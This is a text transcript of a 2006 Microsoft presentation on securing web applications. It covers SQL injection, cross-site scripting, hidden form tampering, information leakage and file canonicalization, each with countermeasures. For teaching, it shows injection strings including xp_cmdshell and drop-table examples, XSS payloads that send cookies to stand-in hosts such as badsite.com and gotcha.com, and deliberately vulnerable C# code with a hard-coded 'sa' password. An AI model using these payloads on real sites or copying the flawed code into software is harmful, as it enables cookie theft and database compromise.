Michael Korp Technical Evangelist Microsoft Deutschland GmbH
Copyright Microsoft Corp. 2006 Securing Web Applications Vineet Gupta Evangelist Microsoft India .
-
Upload
tracey-terry -
Category
Documents
-
view
238 -
download
0
Transcript of Copyright Microsoft Corp. 2006 Securing Web Applications Vineet Gupta Evangelist Microsoft India .
Copyright Microsoft Corp. 2006
Securing Web Securing Web ApplicationsApplications
Vineet GuptaVineet GuptaEvangelistEvangelistMicrosoft IndiaMicrosoft India
http://spaces.msn.com/members/vineetguptahttp://spaces.msn.com/members/vineetgupta
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
string Status = "No";string sqlstring ="";try { SqlConnection sql= new SqlConnection( @"data source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes";} catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; }} catch (Exception e) { Status = e.ToString();}
What Happens with this Code?What Happens with this Code?
Copyright Microsoft Corp. 2006
Why It’s Wrong Why It’s Wrong (1 of 2)(1 of 2)
Good GuyGood Guy
SELECT HasShippedFROM Shipment WHERE ID='1001'
Not so Good GuyNot so Good Guy
SELECT HasShippedFROM Shipment WHERE ID= '1001' or 2>1 -- '
sqlstring="SELECT HasShipped" +sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";" FROM Shipment WHERE ID='" + Id + "'";
Copyright Microsoft Corp. 2006
Why It’s Wrong Why It’s Wrong (2 of 2)(2 of 2)
Really Bad GuyReally Bad Guy
SELECT HasShipped FROM Shipment WHERE ID= '1001' drop table orders -- '
Downright Evil GuyDownright Evil Guy
SELECT HasShipped FROM Shipment WHERE ID= '1001' exec xp_cmdshell('...') -- '
sqlstring="SELECT HasShipped" +sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'";" FROM Shipment WHERE ID='" + Id + "'";
Copyright Microsoft Corp. 2006
SQL Injection - CausesSQL Injection - Causes
Loose or unchecked SQL parameter input.Loose or unchecked SQL parameter input.
Statements are submitted and executed from a Statements are submitted and executed from a priveledged SQL accountpriveledged SQL accountSqlConnect sql=new SqlConnect("data SqlConnect sql=new SqlConnect("data source=myserver;user source=myserver;user id=sa;password=password;");id=sa;password=password;");
Arbitrary statements are allowed to executeArbitrary statements are allowed to execute
CREATE PROCEDURE sp_MyProc @input varchar(128)AS EXEC (@input)
Copyright Microsoft Corp. 2006
SQL Injection - CountermeasuresSQL Injection - CountermeasuresUse integrated security and restrict the user to lower priveledges in Use integrated security and restrict the user to lower priveledges in SQL.SQL.
Use parameterized commands to reduce surface area of attack by Use parameterized commands to reduce surface area of attack by providing strong type checking.providing strong type checking.
Nullify and add delimiters to object names with quotename.Nullify and add delimiters to object names with quotename.
Use sp_executesql to execute SQL statements built dynamically to Use sp_executesql to execute SQL statements built dynamically to prevent malformed parametersprevent malformed parameters
strConn="Provider=sqloledb;Server=myserver;trusted_connection=yes");
set @a varchar(20)set @a ='somevalue'set @q = quotename(@a)select @a
declare @name varchar(64)set @name = N'White'exec sp_executesql 'select au_id from pubs.dbo.authors where au_lname=@lname',@lname varchar(64),@lname=@name
Copyright Microsoft Corp. 2006
SQL Injection - CountermeasuresSQL Injection - Countermeasures
Input CharacterInput Character Meaning in T-SQLMeaning in T-SQL
;; Query DelimiterQuery Delimiter
‘‘ Character Data String delimiterCharacter Data String delimiter
---- Comment delimiterComment delimiter
/** .. **//** .. **/ Comment DelimitersComment Delimiters
xp_xp_ Prefix for extended SPsPrefix for extended SPs
Use RegEx to filter input.
Reject Input Containing any of the following:
Regex r = new Regex(@"^\d{4,10}$"); if (!r.Match(Id).Success)
throw new Exception("Invalid ID");
Copyright Microsoft Corp. 2006
What happens if you click on this…What happens if you click on this…
<a href=http://www.insecuresite.com/welcome.asp?name= <FORM action=http://www.badsite.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >here</a>
The users cookie for this domain
Is sent here
Copyright Microsoft Corp. 2006
XSS in Action – Cookie StealingXSS in Action – Cookie StealingWelcome.aspHello,<%= request.querystring(′name′)%>
<a href=http://www.insecuresite.com/welcome.asp?name=<script>document.write (′<img src=″http://gotcha.com/″%2bdocument.cookie%2b>′)</script>here</a>
Copyright Microsoft Corp. 2006
XSS in Action – “defacement”XSS in Action – “defacement”/location=<script>document.images[4].src=/location=<script>document.images[4].src="http://www.badsite.com/news.jpg"</script>"http://www.badsite.com/news.jpg"</script>
Copyright Microsoft Corp. 2006
XSS: Attack FlowXSS: Attack FlowServerServer
ClientClient
Un-Trusted SourceUn-Trusted Source
1) Malicious code 1) Malicious code is sent to the is sent to the clientclient
1122
2) Client sends 2) Client sends input to a serverinput to a server
3) Server sends 3) Server sends output to a clientoutput to a client
33
4) Client executes the server’s output4) Client executes the server’s output
Copyright Microsoft Corp. 2006
XSS: ConsequencesXSS: Consequences
An attacker can run a script in the wrong An attacker can run a script in the wrong security contextsecurity context
Cookies can be read/writtenCookies can be read/written
Plug-ins and native code can be launched or Plug-ins and native code can be launched or scripted with untrusted datascripted with untrusted data
User input can be interceptedUser input can be intercepted
SpoofingSpoofing
Complete credential exposure if the site is Passport Complete credential exposure if the site is Passport enabledenabled
Only one vulnerable page on one Web server Only one vulnerable page on one Web server in a domain is required to compromise the in a domain is required to compromise the entire domain.entire domain.
Copyright Microsoft Corp. 2006
XSS: CountermeasuresXSS: Countermeasures
Validate all inputValidate all input
Never directly echo Web-based user inputNever directly echo Web-based user inputAt the very least, HTML or URL encode the outputAt the very least, HTML or URL encode the output
ASP.NET 1.1. adds the ValidateRequest optionASP.NET 1.1. adds the ValidateRequest option
Use HttpOnly cookie optionUse HttpOnly cookie optionPrevents access to client-side script in IE6 SP1 and Prevents access to client-side script in IE6 SP1 and later (used by Hotmail)later (used by Hotmail)
Use <frame> security attributeUse <frame> security attributeSupports Internet Explorer security zone settingsSupports Internet Explorer security zone settings
Copyright Microsoft Corp. 2006
XSS: CountermeasuresXSS: Countermeasures
Characters to Filter in I/O StreamsCharacters to Filter in I/O Streams
CharactersCharacters Removing Them Would …Removing Them Would …< >< > Block HTML tagsBlock HTML tags“ ‘“ ‘ Block quotes from being closed offBlock quotes from being closed off% &% & Ensure that you don’t decode HTML Ensure that you don’t decode HTML
or HTTP encoding on the serveror HTTP encoding on the server; ( ); ( ) Block script from working if replay is Block script from working if replay is
already in the middle of a script blockalready in the middle of a script block+ =+ = Block UTF-7 and UTF-8 encodingBlock UTF-7 and UTF-8 encoding
Copyright Microsoft Corp. 2006
What Could go Wrong Here?What Could go Wrong Here?<html><head><html><head><script language=‘javascript’><script language=‘javascript’>function validateAndSubmit(form)function validateAndSubmit(form){{ if(form.elments[“path”].value.length() > 0)if(form.elments[“path”].value.length() > 0) {{ form.submit();form.submit(); }}}}</script></head></script></head><body><body>
<form action=“mypage.asp” method=“post”><form action=“mypage.asp” method=“post”><input type=‘text’ id=‘path’/><input type=‘text’ id=‘path’/><input type=‘button’ <input type=‘button’
onclick=‘validateAndSubmit(this.parent)’> onclick=‘validateAndSubmit(this.parent)’> Submit</input>Submit</input></form></form>
</body></body></html></html>
What if Server-side code What if Server-side code processing this value processing this value assumes that the path assumes that the path variable has a non-zero variable has a non-zero length value?length value?
And what if this code never runs???And what if this code never runs???
Copyright Microsoft Corp. 2006
Input Validation in Web AppsInput Validation in Web AppsLack of proper input validation is the single Lack of proper input validation is the single biggest cause of Web-App compromisebiggest cause of Web-App compromise
DosDosDo Validate for Length, Range, Format and TypeDo Validate for Length, Range, Format and Type
Do Validate from all sources: QueryStrings, Cookies, Do Validate from all sources: QueryStrings, Cookies, HTML ControlsHTML Controls
Don’tsDon’tsDo not rely on Client-side ValidationDo not rely on Client-side Validation
Do not rely on ASP.net Request ValidationDo not rely on ASP.net Request Validation
Do not use user-supplied file name and path inputDo not use user-supplied file name and path input
Do not echo un-trusted inputDo not echo un-trusted inputIf you need to, encode the output first!If you need to, encode the output first!
Copyright Microsoft Corp. 2006
Input ValidationInput Validation
Do not Rely on Client-Side ValidationDo not Rely on Client-Side Validation
JavaScript can be turned offJavaScript can be turned off
No self-respecting hacker uses a browser to No self-respecting hacker uses a browser to attackattack
Validate on Client and Server bothValidate on Client and Server both
The only reason to use JavaScript is to improve The only reason to use JavaScript is to improve the UX of the good user by reducing round-tripsthe UX of the good user by reducing round-trips
Recommendation: Use ASP.Net Validator Recommendation: Use ASP.Net Validator ControlsControls
Copyright Microsoft Corp. 2006
ASP.Net provides ValidateRequest AttributeASP.Net provides ValidateRequest AttributeChecks all input data against a hard-coded list of Checks all input data against a hard-coded list of potentially dangerous values.potentially dangerous values.
Basically HTML tags and some SQL valuesBasically HTML tags and some SQL valuesIf a match occurs, exception is thrown. If a match occurs, exception is thrown.
Helps with XSS and SQL-InjectionHelps with XSS and SQL-InjectionOn by default.On by default.Can be enabled / diabled at Can be enabled / diabled at
Machine level (using Machine.config)Machine level (using Machine.config)Application level (Web.Config) Application level (Web.Config) Page Level (Page Attributes) Page Level (Page Attributes) <%@ Page ValidateRequest=True %><%@ Page ValidateRequest=True %>
Provides Basic DefenseProvides Basic DefenseNOTNOT a Silver Bulleta Silver BulletDo NOT Do NOT rely on just this – build other defenses alsorely on just this – build other defenses also
May not be able to use it for Message Board kind May not be able to use it for Message Board kind of appsof apps
Input Validation - ValidateRequestInput Validation - ValidateRequest
Copyright Microsoft Corp. 2006
Input ValidationInput ValidationLength, Range, Format, TypeLength, Range, Format, Type
Use ASP.net Validator ControlsUse ASP.net Validator Controls
RegularExpressionValidatorRegularExpressionValidator
RangeValidatorRangeValidator
CustomValidatorCustomValidator
If not using Validator ControlsIf not using Validator Controls
Use RegEx classUse RegEx class
Convert numeric input to double / int and check Convert numeric input to double / int and check rangesranges
Copyright Microsoft Corp. 2006
Input Validation: Multiple SourcesInput Validation: Multiple Sources
Check all Sources of InputCheck all Sources of Input
HTML ControlsHTML Controls
Server ControlsServer Controls
Query StringsQuery Strings
CookiesCookies
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
Magic URLs and Hidden FormsMagic URLs and Hidden FormsURLs often carry interesting payloadsURLs often carry interesting payloads
UserIdsUserIds
PasswordsPasswords
And are often not encrypted!And are often not encrypted!
Hidden Forms Fields are not really HiddenHidden Forms Fields are not really Hidden
Anyone can do a view sourceAnyone can do a view source
Do not put sensitive information anywhere Do not put sensitive information anywhere in the HTTP payloadin the HTTP payload
Copyright Microsoft Corp. 2006
Potential IssuesPotential Issues
Attacker Views the DataAttacker Views the Data
Attacker Replays the DataAttacker Replays the Data
Attacker Predicts the DataAttacker Predicts the Data
Attacker Changes the DataAttacker Changes the Data
Copyright Microsoft Corp. 2006
Potential IssuesPotential Issues
Attacker Views the DataAttacker Views the Data
Issue only if data is confidentialIssue only if data is confidential
Attacker Replays the DataAttacker Replays the Data
Attacker Predicts the DataAttacker Predicts the Data
Attacker Changes the DataAttacker Changes the Data
Copyright Microsoft Corp. 2006
Potential IssuesPotential Issues
Attacker Views the DataAttacker Views the Data
Attacker Replays the DataAttacker Replays the Data
Assume you produce a hashed verifier after Assume you produce a hashed verifier after authenticationauthentication
The attacker simply replays the same hash and The attacker simply replays the same hash and gets authenticated!gets authenticated!
Attacker Predicts the DataAttacker Predicts the Data
Attacker Changes the DataAttacker Changes the Data
Copyright Microsoft Corp. 2006
Potential IssuesPotential Issues
Attacker Views the DataAttacker Views the Data
Attacker Replays the DataAttacker Replays the Data
Attacker Predicts the DataAttacker Predicts the Data
Assume that you authenticate me as a userAssume that you authenticate me as a userAnd give me a session id, say 123And give me a session id, say 123
I logout, and immediately login againI logout, and immediately login againAnd get session id 125!And get session id 125!
What if I now change my session id to 124?What if I now change my session id to 124?
Attacker Changes the DataAttacker Changes the Data
Copyright Microsoft Corp. 2006
Potential IssuesPotential IssuesAttacker Views the DataAttacker Views the Data
Attacker Replays the DataAttacker Replays the Data
Attacker Predicts the DataAttacker Predicts the Data
Attacker Changes the DataAttacker Changes the Data
You have a E-Commerce SiteYou have a E-Commerce SiteThe price for an item is in a hidden fieldThe price for an item is in a hidden field
To avoid tampering, use Hashed Message To avoid tampering, use Hashed Message Authentication Code (HMAC)Authentication Code (HMAC)
Concatenate all hidden textConcatenate all hidden text
Hash this with key held at serverHash this with key held at server
System.Security.Cryptography.HMACSHA1System.Security.Cryptography.HMACSHA1
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
Unable to open c:\stuff\files\foo.doc
ODBC ERROR 0x80040005: Invalid SQLselect creditcard from users where id=‘1001
Username is correct, please enter a valid password.
Are these Error Messages Common?Are these Error Messages Common?
Copyright Microsoft Corp. 2006
Information Leakage - OverviewInformation Leakage - OverviewApplications often disclose information about a Applications often disclose information about a failure targeted to help users correct errors or to failure targeted to help users correct errors or to help developers fix problemshelp developers fix problems
ODBC error messages, authentication error messages, ODBC error messages, authentication error messages, etc.etc.
Sometimes, this information can give an attacker Sometimes, this information can give an attacker a significant advantage in attacking a systema significant advantage in attacking a system
Disclose application/platform identification informationDisclose application/platform identification information
Expose implementation detailsExpose implementation details
Relate data quality information (e.g. valid username / Relate data quality information (e.g. valid username / invalid password)invalid password)
Copyright Microsoft Corp. 2006
Information Leakage – Information Leakage – Countermeasures (Web Apps)Countermeasures (Web Apps)
Make sure ASP.Net debug information is Make sure ASP.Net debug information is disableddisabled
Consider a single error page for all error Consider a single error page for all error conditionsconditions
Configure this in web.config withConfigure this in web.config with<customErrors mode=“On" <customErrors mode=“On" DefaultRedirect="Error.aspx"/>DefaultRedirect="Error.aspx"/>
Provide minimal information in all error Provide minimal information in all error messages, do not propogate system level messages, do not propogate system level errorserrors
Copyright Microsoft Corp. 2006
A Special Note about Information A Special Note about Information Disclosure threatsDisclosure threats
All information disclosure All information disclosure threats are potential threats are potential
privacy issues.privacy issues.Raising the Risk.Raising the Risk.
Are the data sensitive or PII?Are the data sensitive or PII?
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
Improper File AccessImproper File Access
Race ConditionsRace Conditions
““Not really a File” IssueNot really a File” Issue
Canonicalization IssueCanonicalization Issue
Copyright Microsoft Corp. 2006
Race ConditionRace Condition
Modern OS do not operate in an isolated Modern OS do not operate in an isolated mannermanner
File operations are not atomicFile operations are not atomic
Can lead to Privilege Escalation or DoSCan lead to Privilege Escalation or DoSconst char *fileName = “/tmp/slat”if (access(fileName, R_OK) == 0){
int fd = open(filename, O_RDONLY);handle_file_contents(fd);close(fd);
}else { // handle error}
Copyright Microsoft Corp. 2006
““Not Really a File”Not Really a File”
void AccessFile(char *szFileNameFromUser){ HANDLE hFile = CreateFile(szFileNameFromUser,
0, 0,NULL, OPEN_EXISTING, 0, NULL);
// more code}
What if filename is a device name?
This function will not return till the device times-out
Copyright Microsoft Corp. 2006
Canonicalization IssuesCanonicalization Issues
1.1. MyLongFile.txtMyLongFile.txt
2.2. MyLongFile.txt.MyLongFile.txt.
3.3. MyLong~1.txtMyLong~1.txt
4.4. MyLongFile.txt::$DATAMyLongFile.txt::$DATA
1.1. MyLongFile.txtMyLongFile.txt
2.2. MyLongFile.txt.MyLongFile.txt.
3.3. MyLong~1.txtMyLong~1.txt
4.4. MyLongFile.txt::$DATAMyLongFile.txt::$DATA
Copyright Microsoft Corp. 2006
Canonicalization IssuesCanonicalization Issues
There are many ways to represent characters on the InternetThere are many ways to represent characters on the InternetUS-ASCII, hexadecimal escapes, UTF-8, double hexadecimal US-ASCII, hexadecimal escapes, UTF-8, double hexadecimal escapes, and dotless IP addressesescapes, and dotless IP addresses
• http://www.microsoft.com/technet/security• http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity• http://www.microsoft.com%c0%aftechnet%c0%afsecurity• http://www%25%32%65microsoft.com/technet/security
• http://172.43.122.12 = http://2888530444
Copyright Microsoft Corp. 2006
Canonicalization IssuesCanonicalization Issues
Directory structureDirectory structure
C:\Windows\Foo\Secret\Bar\TempC:\Windows\Foo\Secret\Bar\Temp
Secret fileSecret file
C:\Windows\Foo\Secret\cmd.exe is the same C:\Windows\Foo\Secret\cmd.exe is the same as: as:
C:\Windows\Foo\Secret\Bar\Temp\..\..\cmd.exeC:\Windows\Foo\Secret\Bar\Temp\..\..\cmd.exe
C:\Windows\Foo\Secret\Bar\..\cmd.exeC:\Windows\Foo\Secret\Bar\..\cmd.exe
C:\Windows\Foo\..\Foo\Secret\Bar\..\cmd.exeC:\Windows\Foo\..\Foo\Secret\Bar\..\cmd.exe
Copyright Microsoft Corp. 2006
File Issues RedemptionFile Issues Redemption
Be strict about what you accept as a Be strict about what you accept as a FilenameFilename
Do not accept a filename thinking it to be a Do not accept a filename thinking it to be a valid file, esp on serversvalid file, esp on servers
Try storing temp data in user’s temp Try storing temp data in user’s temp directory and not in shared locationdirectory and not in shared location
string tempName = System.IO.Path.GetTempFileName();
Copyright Microsoft Corp. 2006
AgendaAgenda
Input Validation IssuesInput Validation Issues
Use of Magic URLs and Hidden FormsUse of Magic URLs and Hidden Forms
Information DisclosureInformation Disclosure
Improper File AccessImproper File Access
Copyright Microsoft Corp. 2006
ToolsTools
UrlScan: ISAPI filter that restricts the types of UrlScan: ISAPI filter that restricts the types of HTTP requests that IIS will allow. HTTP requests that IIS will allow.
IISLockdown: Useful for Win2k servers to IISLockdown: Useful for Win2k servers to automate making IIS secure by defaultautomate making IIS secure by default
NetHack: Web application testing tool allowing NetHack: Web application testing tool allowing you to bypass client-side authenticationyou to bypass client-side authentication
SQL Profiler: Traces SQL queries generated by SQL Profiler: Traces SQL queries generated by an application.an application.
Whisker: Web application vulnerability scanner Whisker: Web application vulnerability scanner tool.tool.
ProcessExplorer: Provides complete information ProcessExplorer: Provides complete information on all active processes.on all active processes.
Copyright Microsoft Corp. 2006
ToolsTools
WebApplicationStress: Tool for generating WebApplicationStress: Tool for generating heavy HTTP trafficheavy HTTP traffic
IIS 6.0 Resource Kit includes many tools:IIS 6.0 Resource Kit includes many tools:
WFetch: Useful for manually generating HTTP WFetch: Useful for manually generating HTTP requestsrequests
Metabase explorer: Used to examine complete Metabase explorer: Used to examine complete IIS configurationIIS configuration
Permissions Verifier: Ensures IIS is configured Permissions Verifier: Ensures IIS is configured with minimal required permissionswith minimal required permissions
Copyright Microsoft Corp. 2006
Questions?Questions?
http://http://spaces.msn.com/members/vineetguptaspaces.msn.com/members/vineetgupta
Copyright Microsoft Corp. 2006
© 2006 Microsoft Corporation. All rights reserved.© 2006 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.